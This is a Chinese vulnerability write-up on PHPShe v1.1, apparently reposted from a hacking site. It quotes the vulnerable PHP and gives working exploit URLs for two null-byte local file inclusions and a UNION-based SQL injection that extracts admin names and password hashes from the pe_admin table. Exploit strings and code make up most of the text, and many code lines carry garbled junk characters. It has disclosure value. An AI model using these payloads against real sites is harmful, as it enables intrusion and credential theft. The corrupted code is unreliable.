phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输


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0 }8 z. U. W- g' B6 E- o//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
$ Q( j3 J& ~7 ]# G!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
/ \7 z9 n% O, ]6 ~}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
% b& F6 G+ Q9 Z' K" T!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
: P% _3 Z: E. v" d}
6 E' D5 V/ ~% \+ l5 K6 V7 zsession_start();
" _0 Q; \$ K- m1 r8 W; V!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
, O# P; H( y2 V" ?' d* d!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
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2 f$ g6 I( M" e  w, y# `0×01 包含漏洞
/ I' Y4 s# i! i4 c5 ?

//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
4 M1 x! V! K4 P! o% ]?>
//common 文件 第15行开始
, y& o% i+ i1 O; F1 }" j( n  j6 F5 _2 ourl路由配置
/ d! @2 }9 a2 H( M1 _$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$ ~7 k9 p, j4 s$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
/ f- z$ Z; N6 t) p# q4 e$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
- ?: ]1 |# G7 O" Q. q+ ~//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

5 ~3 g+ S- m4 T+ s0 ^' n5 l  m
0×02 搜索注入

5 E  l% T* M9 a4 ?% Z+ s- F6 O<code id="code2">

//product.php文件
; Q" i3 x2 r5 ?4 E/ d! ccase 'list':
$category_id = intval($id);
0 [- w8 d7 y5 ]/ R7 y" A$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
: j" z, M/ ~) |3 p: i4 fif ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
* g; H) x% |% E( ?; ]}
: C2 t6 W8 W: [0 s% I8 d; j; l$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
6 x* t* S7 s/ X$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
( L6 G7 t/ S5 J3 w# N}
, F. w4 J+ T0 ]6 k$ A0 {7 {else {
$sqlwhere .= " order by `product_id` desc";
}
1 {- M" @5 T( b7 T$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
5 U. ?: \5 T, o- l$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
: `) U5 F) s% T$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
9 T4 f; _0 a1 A- m1 C3 Spublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
+ O% V0 d) A) o{
% t$ B* ?# s3 Z7 c//处理条件语句
$sqlwhere = $this->_dowhere($where);
( J6 O8 G4 `/ U: X$ |- C8 Ireturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
9 y, c! \: m4 X8 p+ i}
8 d& W; k3 n" q% L0 Z//exp
3 s5 @) J4 k4 mproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
# }' T2 V1 z# X# Q" b

</code>
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0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

) B0 X% h: h; ^) s* x$cache_payway = cache::get('payway');

6 n, @6 ~3 H" j: ^6 }5 Q. c) Q0 \$ ?5 B: Rforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

7 |4 u- O' k2 e) ?& sif ($k == 'bank') {

5 v) @8 J1 e: s! L$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

$ |$ e8 {% @. R& Z3 E}

}

. s, G: l# D$ r  v) K2 I7 K6 [$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

; i! f! k9 {; D% H# [* H9 }!$order['order_id'] && pe_error('订单号错误...');

2 A, y* v! r; y! cif (isset($_p_pesubmit)) {

8 P) X' J5 k  `/ @: Wif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

2 O  B; U, F: r5 t8 b$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

6 b1 {0 \- U' \2 E+ R" ]( Mforeach ($info_list as $v) {

3 g2 L. N- y% `6 F  [9 ^: O$order['order_name'] .= "{$v['product_name']};";

}

- e1 w$ G/ T7 n( _1 Lecho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

- t! t' U/ {; L, ~: r4 R}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

pe_error('支付错误...');

}

7 q! O- T% h" s% _1 A0 X# g}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
# c7 _! u3 _. D" e' @* i5 ahttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg